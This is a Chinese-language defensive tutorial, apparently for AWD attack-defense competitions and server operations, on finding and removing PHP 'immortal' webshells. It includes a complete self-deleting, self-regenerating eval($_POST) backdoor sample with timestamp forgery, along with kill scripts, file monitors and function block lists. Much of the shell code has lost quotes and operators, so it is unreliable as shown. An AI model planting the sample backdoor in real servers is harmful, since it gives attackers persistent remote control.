AWD 攻防:PHP 不死马进程级查杀与 2 种隐藏文件对抗
PHP不死马的系统级对抗进程查杀与隐蔽文件攻防实战1. 不死马的本质与系统级驻留机制在服务器安全运维领域PHP不死马堪称最难缠的Web后门之一。与传统WebShell不同这类恶意脚本通过进程驻留和文件再生的双重机制实现持久化控制。理解其工作原理是有效防御的前提。不死马的核心技术特点体现在三个层面进程级驻留通过ignore_user_abort(true)和set_time_limit(0)实现进程常驻自我隐藏利用unlink(__FILE__)删除本体文件降低被发现概率文件再生循环写入WebShell文件并修改时间戳touch -m -d典型的不死马代码结构如下所示?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file .hidden.php; $code ?php eval($_POST[cmd]); ?; while(1){ file_put_contents($file,$code); system(touch -m -d 2020-01-01 .$file); usleep(50000); } ?从系统运维视角看不死马本质上是一个无限循环的守护进程。其进程生命周期不受PHP执行时间限制也不依赖原始脚本文件存在这正是常规文件删除无效的根本原因。2. 进程级查杀技术实战2.1 进程识别与特征分析在Linux系统中不死马进程通常表现为长期运行的PHP进程通过ps aux --sort-%cpu | grep php查看持续占用少量CPU资源因usleep存在进程运行时间异常远超过普通请求处理时间使用以下命令组合可有效识别可疑进程# 按CPU占用排序查看PHP进程 ps aux --sort-%cpu | grep -i php | grep -v grep # 查看进程运行时长重点关注TIME列 ps -eo pid,user,comm,lstart,etime,args | grep php2.2 自动化查杀脚本开发基于进程特征我们可以编写自动化查杀工具。以下脚本实现进程定位与清除#!/bin/bash # 不死马查杀脚本 v1.0 # 定义检测阈值秒 MAX_RUNTIME300 # 获取异常PHP进程 ABNORMAL_PIDS$(ps -eo pid,etime,args | grep php | \ awk -v max$MAX_RUNTIME \ { split($2,t,:); if(t[1]!-){ sect[1]*3600 t[2]*60 t[3]; if(secmax) print $1 } }) # 终止异常进程 for pid in $ABNORMAL_PIDS; do echo [] Killing malicious process: $pid kill -9 $pid # 清理关联文件 lsof -p $pid | grep /var/www | awk {print $9} | xargs rm -f done # 二次验证 if [ -z $ABNORMAL_PIDS ]; then echo [√] No persistent PHP process detected else echo [!] Cleanup completed for PIDs: $ABNORMAL_PIDS fi关键改进点基于进程运行时间而非CPU占用率检测避免误判自动清理进程打开的文件句柄支持自定义运行时阈值适应不同服务器环境2.3 进程监控方案建立持续监控机制比事后查杀更重要。推荐使用以下命令组合实现实时监控# 监控PHP进程创建 watch -n 5 ps -eo pid,user,cmd,start_time | grep -i php # 使用inotify监控Web目录文件变化 inotifywait -m -r /var/www/html -e create,modify | while read path action file; do if [[ $file ~ \.php$ ]]; then echo [!] PHP file modified: $path$file fi done3. 隐蔽文件对抗技术3.1 点文件.hidden对抗以点号开头的文件在Linux中默认隐藏常规ls无法显示。对抗方案# 强制显示隐藏文件 ls -la /var/www/html # 查找特定时间段创建的隐藏文件 find /var/www -type f -name .* -cmin -30 # 批量清除隐藏WebShell find /var/www -type f -name .*.php -exec rm -fv {} \;3.2 短横线文件-exploit对抗以短横线开头的文件会干扰命令行参数解析需要特殊处理# 错误方式会被解析为命令参数 rm -f -malicious.php # 正确删除方式 rm -f -- -malicious.php # 或使用路径前缀 rm -f ./-malicious.php文件操作对照表操作类型常规文件横线文件解决方案查看内容cat filecat -file报错cat -- -file删除文件rm filerm -file报错rm -- -file查找文件find -name filefind -name -filefind -name ./-file3.3 文件监控加固方案修改inotify监控脚本增加特殊文件检测#!/bin/bash # 增强型文件监控脚本 WEB_DIR/var/www/html ALERT_LOG/var/log/web_alert.log monitor_files() { inotifywait -m -r $WEB_DIR -e create,modify,attrib | while read path action file; do # 检测隐藏文件 if [[ $file ~ ^\..*\.php$ ]]; then echo $(date) - Hidden PHP file: $path$file $ALERT_LOG fi # 检测横线文件 if [[ $file ~ ^-.*\.php$ ]]; then echo $(date) - Hyphen PHP file: $path$file $ALERT_LOG fi # 检测异常时间戳 if [ $action ATTRIB ]; then file_time$(stat -c %y $path$file) if [[ $file_time ~ 2018|2019|2020 ]]; then echo $(date) - Suspicious timestamp: $path$file $ALERT_LOG fi fi done } monitor_files4. 防御体系构建4.1 服务器级防护权限最小化# Web目录禁止执行权限 find /var/www -type d -exec chmod 755 {} \; find /var/www -type f -exec chmod 644 {} \; # 限制PHP函数 sed -i /^disable_functions/ s/$/,exec,passthru,shell_exec,system/ /etc/php/7.4/fpm/php.ini文件系统加固# 设置不可变标志需重启后生效 chattr i /var/www/html/index.php # 监控关键目录 auditctl -w /var/www/html -p wa -k web_content4.2 PHP环境加固配置推荐php.ini安全配置; 禁用危险函数 disable_functions exec,passthru,shell_exec,system,proc_open,popen ; 限制文件操作 open_basedir /var/www/html/ ; 防止脚本超时驻留 max_execution_time 30 ignore_user_abort Off4.3 自动化防御系统结合上述技术构建自动化防御体系实时进程监控通过cron定时执行文件完整性校验使用aide等工具异常行为告警集成到SIEM系统以下是一个简单的防御脚本框架#!/bin/bash # 自动化防御系统核心模块 # 1. 进程检查 check_process() { ps aux | grep -i [p]hp-fpm | awk {print $11} | sort | uniq -c | \ while read count proc; do if [ $count -gt 10 ]; then echo [!] Abnormal PHP process count: $count fi done } # 2. 文件检查 check_files() { # 检查最近修改的PHP文件 find /var/www -type f -name *.php -mmin -5 -exec ls -la {} \; # 检查隐藏的PHP文件 find /var/www -type f -name .*.php -exec rm -fv {} \; } # 3. 服务检查 check_services() { systemctl status php-fpm --no-pager | grep -q active (running) || \ echo [!] PHP-FPM service异常 } # 主循环 while true; do check_process check_files check_services sleep 60 done在实际运维中防御不死马需要纵深防御理念从系统权限、进程监控、文件审计多个层面建立防护体系。特别要注意的是任何查杀操作都应先在测试环境验证避免影响生产服务正常运行。